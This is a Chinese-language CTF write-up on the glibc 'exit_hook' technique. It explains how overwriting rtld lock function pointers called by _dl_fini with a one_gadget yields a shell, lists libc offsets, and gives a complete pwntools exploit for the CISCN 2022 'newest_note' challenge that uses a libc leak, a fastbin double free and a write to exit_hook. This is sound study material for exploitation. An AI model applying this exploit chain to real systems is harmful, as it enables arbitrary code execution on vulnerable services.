exit_hook相关利用

exit_hook相关利用

glibc2.34之前

利用条件:

  • 至少有一次任意写
  • 程序可以结束(可显式触发exit函数 或 主函数由libc_start_main启动且可正常退出),调用到_dl_fini 函数

写个简单调试代码 , 来看看exit是怎么工作的

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>

int main(){
exit(0);
return 0;
}


首先进入__run_exit_handlers

image-20241210190959738

这里会调用到**_dl_fini函数** ,进入:

image-20241210191211314

_dl_fini函数开头的for循环中就调用到了rtld_lock_default_lock_recursive函数 ,可以看到该函数的地址是直接通过*(rip + 偏移)拿到的:

image-20241210192203250

来看一下_dl_fini源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
void
_dl_fini (void)
{
/* Lots of fun ahead. We have to call the destructors for all still
loaded objects, in all namespaces. The problem is that the ELF
specification now demands that dependencies between the modules
are taken into account. I.e., the destructor for a module is
called before the ones for any of its dependencies.

To make things more complicated, we cannot simply use the reverse
order of the constructors. Since the user might have loaded objects
using `dlopen' there are possibly several other modules with its
dependencies to be taken into account. Therefore we have to start
determining the order of the modules once again from the beginning. */

/* We run the destructors of the main namespaces last. As for the
other namespaces, we pick run the destructors in them in reverse
order of the namespace ID. */
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock)); // 这里直接调用没有判断条件

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock)); // 这里有一个if判断条件通过才能调用
else
{
/* Now we can allocate an array to hold all the pointers and
copy the pointers in. */
struct link_map *maps[nloaded];

unsigned int i;
struct link_map *l;
assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL);
for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next)
/* Do not handle ld.so in secondary namespaces. */
if (l == l->l_real)
{
assert (i < nloaded);

maps[i] = l;
l->l_idx = i;
++i;

/* Bump l_direct_opencount of all objects so that they
are not dlclose()ed from underneath us. */
++l->l_direct_opencount;
}
assert (ns != LM_ID_BASE || i == nloaded);
assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1);
unsigned int nmaps = i;

/* Now we have to do the sorting. We can skip looking for the
binary itself which is at the front of the search list for
the main namespace. */
_dl_sort_maps (maps + (ns == LM_ID_BASE), nmaps - (ns == LM_ID_BASE),
NULL, true);

/* We do not rely on the linked list of loaded object anymore
from this point on. We have our own list here (maps). The
various members of this list cannot vanish since the open
count is too high and will be decremented in this loop. So
we release the lock so that some code which might be called
from a destructor can directly or indirectly access the
lock. */
__rtld_lock_unlock_recursive (GL(dl_load_lock)); // 这里在else里面也有调用
·······
}

综上,只需要覆盖__rtld_lock_lock_recursive 和 _rtld_lock_unlock_recursive其中一个为one_gadget即可getshell,这rdi寄存器的值我们控制不了,除非能申请到chunk,然后往 _rtld_local+2440上面写”/bin/sh”的地址,否则就只能打one_gadget。

下面是一些偏移比赛时可以直接使用

在libc-2.23中
exit_hook = libc_base+0x5f0040+3848

exit_hook = libc_base+0x5f0040+3856

在libc-2.27中

exit_hook = libc_base+0x619060+3840

exit_hook = libc_base+0x619060+3848

这样一来,只要知道libc版本和任意地址的写,我们可以直接写这个指针,执行exit后就可以拿到shell了,不执行也可以正常结束也会返回这个

glibc2.34

在glibc2.34中exit_hook比较难找,相对libc基地址的偏移的

image-20241210194035898

[CISCN 2022 初赛]newest_note | NSSCTF

解题思路

  1. 利用开始可控制大小,申请一个大于TopChunk大小的chunk,系统会调用mmap 分配,会映射libc地址开辟大小,就可以泄露libc地址
  2. 利用fastbin 进行 double free , 申请到exit_hook位置的chunk , 用one_gadget
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from pwn import *
from ctypes import *
from LibcSearcher import *
import sys

ls = lambda data :log.success(data)
lss = lambda s :ls('\033[1;31;40m%s ---> 0x%x \033[0m' % (s, eval(s)))

filename = './newest_note'
url = 'node4.anna.nssctf.cn:28339'

context.terminal = ['tmux', 'splitw', '-h', '-p', '80']
context.log_level = 'debug'

match = re.match(r'([^:\s]+)(?::(\d+)|\s+(\d+))?', url)
hostname, port = (match.group(1), match.group(2) or match.group(3)) if match else (None, None)
p = (remote(hostname, port) if len(sys.argv) > 1 and sys.argv[1] == 're' else process(filename))
if len(sys.argv) > 1 and sys.argv[1] == 'de':
gdbscript = '''
b * main
'''
gdb.attach(p, gdbscript=gdbscript)
print("GDB attached successfully")
elf = ELF(filename)

def add(index,content):
p.sendlineafter(b':','1')
p.sendlineafter(b':',str(index).encode())
p.sendafter(b':',content)

def show(index):
p.sendlineafter(b':',b'3')
p.sendlineafter(b': ',str(index).encode())

def free(index):
p.sendlineafter(b':','2')
p.sendlineafter(b': ',str(index).encode())


p.sendlineafter("How many pages your notebook will be? :" , str(0x40040000))

for i in range(9) :
add(i , b'a')

for i in range(7) :
free(i)

show(0)
p.recvuntil("Content: ")
key = u64(p.recv(5).ljust(8 , b'\x00'))
lss("key")

show(539034) //远程 本地和这个不一样,也是看的大佬的偏移
main_arena = u64(p.recvuntil("\x7f")[-6:].ljust(8 , b'\x00')) - 96
libc_base = main_arena - 0x218c60
exit_hook = libc_base + 0x00000000021A6C0

free(7)
free(8)
free(7)

for i in range(7) :
add(9 , b'b')

fake_fd = key ^ exit_hook
add(10 , p64(fake_fd))
add(11 , b'a')
add(12 , b'a')

one_gadget = [0xeeccc,0xeeccf,0xeecd2]
execve = libc_base + one_gadget[0]

add(13 , 2 * p64(execve))
p.sendlineafter(b": " , b'4')


lss("libc_base")
lss("main_arena")
lss("exit_hook")

p.interactive()